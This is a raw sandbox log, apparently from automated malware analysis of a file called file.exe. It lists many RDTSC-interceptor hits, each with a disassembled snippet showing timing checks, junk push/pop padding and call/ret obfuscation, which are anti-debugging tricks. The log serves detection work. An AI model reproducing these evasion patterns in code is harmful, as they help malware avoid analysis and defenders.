Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49292 second address: D49296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49BFD second address: D49C0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0D344F4ABAh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49AA5 second address: D49AB9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jne 00007F0D34B708F6h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49C0F second address: D49C72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 ja 00007F0D344F4AB6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F0D344F4AB8h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007F0D344F4AB8h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 0000001Ah 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 mov esi, dword ptr [ebp+122D30A0h] 0x0000004d xchg eax, ebx 0x0000004e push ebx 0x0000004f push eax 0x00000050 push edx 0x00000051 push ebx 0x00000052 pop ebx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49C72 second address: D49C83 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0D34B708F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B5E9 second address: D4B635 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F0D344F4AB8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 push 00000000h 0x00000026 mov dword ptr [ebp+122D1800h], edx 0x0000002c push 00000000h 0x0000002e jmp 00007F0D344F4ABFh 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 push ebx 0x00000037 push edi 0x00000038 pop edi 0x00000039 pop ebx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BEEB second address: D4BEEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BEEF second address: D4BEFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D344F4ABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BEFE second address: D4BF16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F0D34B708F6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jnp 00007F0D34B708F6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BF16 second address: D4BF1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BF1A second address: D4BF2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0D34B708FCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BF2F second address: D4BF74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007F0D344F4AB8h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 00000018h 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 mov dword ptr [ebp+122D1969h], ecx 0x00000027 push 00000000h 0x00000029 mov esi, dword ptr [ebp+122D39CDh] 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 xor dword ptr [ebp+122D23FEh], edx 0x00000038 pop edi 0x00000039 xchg eax, ebx 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BF74 second address: D4BF78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BF78 second address: D4BF85 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0D344F4AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4C7C5 second address: D4C7CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51CC1 second address: D51D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D344F4AC8h 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F0D344F4AC5h 0x00000010 nop 0x00000011 mov dword ptr [ebp+12458732h], ebx 0x00000017 push 00000000h 0x00000019 call 00007F0D344F4AC9h 0x0000001e mov dword ptr [ebp+12444A28h], edx 0x00000024 pop edi 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ebp 0x0000002a call 00007F0D344F4AB8h 0x0000002f pop ebp 0x00000030 mov dword ptr [esp+04h], ebp 0x00000034 add dword ptr [esp+04h], 00000014h 0x0000003c inc ebp 0x0000003d push ebp 0x0000003e ret 0x0000003f pop ebp 0x00000040 ret 0x00000041 mov edi, esi 0x00000043 xchg eax, esi 0x00000044 pushad 0x00000045 push esi 0x00000046 pushad 0x00000047 popad 0x00000048 pop esi 0x00000049 push eax 0x0000004a jnp 00007F0D344F4AB6h 0x00000050 pop eax 0x00000051 popad 0x00000052 push eax 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 jc 00007F0D344F4AB6h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51D56 second address: D51D5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52B71 second address: D52B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51EA4 second address: D51EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51EB0 second address: D51EB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51EB4 second address: D51EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51EBD second address: D51F36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 nop 0x00000007 push dword ptr fs:[00000000h] 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F0D344F4AB8h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 sub bh, FFFFFFB5h 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 mov bl, 22h 0x00000034 mov eax, dword ptr [ebp+122D0701h] 0x0000003a push 00000000h 0x0000003c push edx 0x0000003d call 00007F0D344F4AB8h 0x00000042 pop edx 0x00000043 mov dword ptr [esp+04h], edx 0x00000047 add dword ptr [esp+04h], 0000001Ah 0x0000004f inc edx 0x00000050 push edx 0x00000051 ret 0x00000052 pop edx 0x00000053 ret 0x00000054 push FFFFFFFFh 0x00000056 mov dword ptr [ebp+122D243Eh], ecx 0x0000005c nop 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 pushad 0x00000061 popad 0x00000062 jnl 00007F0D344F4AB6h 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53AA6 second address: D53AB0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0D34B708F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53AB0 second address: D53AB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52D9C second address: D52DA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52DA1 second address: D52DB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D344F4ABCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52DB1 second address: D52DDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jng 00007F0D34B708F6h 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F0D34B70907h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54AAC second address: D54B01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F0D344F4ABCh 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 mov edi, dword ptr [ebp+122D39CDh] 0x00000016 push 00000000h 0x00000018 ja 00007F0D344F4ABBh 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push edi 0x00000023 call 00007F0D344F4AB8h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], edi 0x0000002d add dword ptr [esp+04h], 00000016h 0x00000035 inc edi 0x00000036 push edi 0x00000037 ret 0x00000038 pop edi 0x00000039 ret 0x0000003a mov dword ptr [ebp+122D368Fh], edi 0x00000040 push eax 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54B01 second address: D54B05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53CC6 second address: D53CCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55B61 second address: D55B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55B6C second address: D55BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 nop 0x00000007 sub dword ptr [ebp+1246F218h], edi 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F0D344F4AB8h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D1D12h], ecx 0x0000002f push 00000000h 0x00000031 add ebx, 1E48A7B8h 0x00000037 mov edi, ebx 0x00000039 xchg eax, esi 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55BB0 second address: D55BC4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0D34B708F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55BC4 second address: D55BC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55BC9 second address: D55BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54C6D second address: D54C77 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0D344F4AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54C77 second address: D54C7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54C7D second address: D54C97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D344F4ABEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54C97 second address: D54C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54C9B second address: D54CA5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54CA5 second address: D54CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56AEF second address: D56BAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D344F4ABEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F0D344F4AC7h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F0D344F4AB8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e xor edi, 140AC914h 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebx 0x00000039 call 00007F0D344F4AB8h 0x0000003e pop ebx 0x0000003f mov dword ptr [esp+04h], ebx 0x00000043 add dword ptr [esp+04h], 0000001Bh 0x0000004b inc ebx 0x0000004c push ebx 0x0000004d ret 0x0000004e pop ebx 0x0000004f ret 0x00000050 add bx, 14BDh 0x00000055 or ebx, 7B5B9E01h 0x0000005b and edi, dword ptr [ebp+122D36BDh] 0x00000061 xchg eax, esi 0x00000062 jbe 00007F0D344F4ACAh 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007F0D344F4AC4h 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55DAC second address: D55DDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D34B70904h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0D34B70908h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56D18 second address: D56D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56D1C second address: D56D20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56D20 second address: D56D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F0D344F4AB8h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 push dword ptr fs:[00000000h] 0x00000029 mov ebx, dword ptr [ebp+122D2A0Ch] 0x0000002f mov dword ptr fs:[00000000h], esp 0x00000036 mov dword ptr [ebp+122D27C9h], edi 0x0000003c mov eax, dword ptr [ebp+122D0009h] 0x00000042 clc 0x00000043 stc 0x00000044 push FFFFFFFFh 0x00000046 mov ebx, 53A96C00h 0x0000004b nop 0x0000004c jl 00007F0D344F4AC6h 0x00000052 jns 00007F0D344F4AC0h 0x00000058 push eax 0x00000059 push edi 0x0000005a pushad 0x0000005b jmp 00007F0D344F4ABBh 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57C40 second address: D57C46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57C46 second address: D57C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57C4A second address: D57C4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59B05 second address: D59B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59B09 second address: D59B0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59B0D second address: D59B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59B13 second address: D59B19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59B19 second address: D59B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5AC52 second address: D5ACAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D34B70907h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F0D34B70907h 0x0000000f popad 0x00000010 nop 0x00000011 push ebx 0x00000012 xor ebx, dword ptr [ebp+122D3941h] 0x00000018 pop ebx 0x00000019 push 00000000h 0x0000001b pushad 0x0000001c js 00007F0D34B708F7h 0x00000022 cmc 0x00000023 popad 0x00000024 push 00000000h 0x00000026 movsx edi, cx 0x00000029 mov dword ptr [ebp+122D25EFh], ebx 0x0000002f xchg eax, esi 0x00000030 pushad 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5ACAA second address: D5ACB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0D344F4AB6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BBAF second address: D5BC10 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F0D34B708F8h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007F0D34B708F8h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 00000017h 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 mov di, si 0x00000044 push 00000000h 0x00000046 sub dword ptr [ebp+122D30B7h], eax 0x0000004c xchg eax, esi 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 jnl 00007F0D34B708F6h 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BC10 second address: D5BC15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BC15 second address: D5BC35 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F0D34B708FEh 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F0D34B708F6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CC63 second address: D5CCCD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0D344F4AB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnc 00007F0D344F4ABEh 0x00000011 nop 0x00000012 sub dword ptr [ebp+122D19ECh], ecx 0x00000018 and edi, 03D18329h 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007F0D344F4AB8h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 0000001Dh 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a cld 0x0000003b push 00000000h 0x0000003d mov bx, si 0x00000040 push eax 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F0D344F4AC1h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CCCD second address: D5CCD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59E10 second address: D59E16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59E16 second address: D59E1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5DE83 second address: D5DE8D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0D344F4AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CE61 second address: D5CE6B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0D34B708FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EDE1 second address: D5EDE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EFB0 second address: D5EFB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60037 second address: D6003B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6003B second address: D60041 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68091 second address: D680CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F0D344F4AC7h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0D344F4AC9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D680CB second address: D680CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D678BC second address: D678C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67BE4 second address: D67BF2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0D34B708F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67BF2 second address: D67BF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
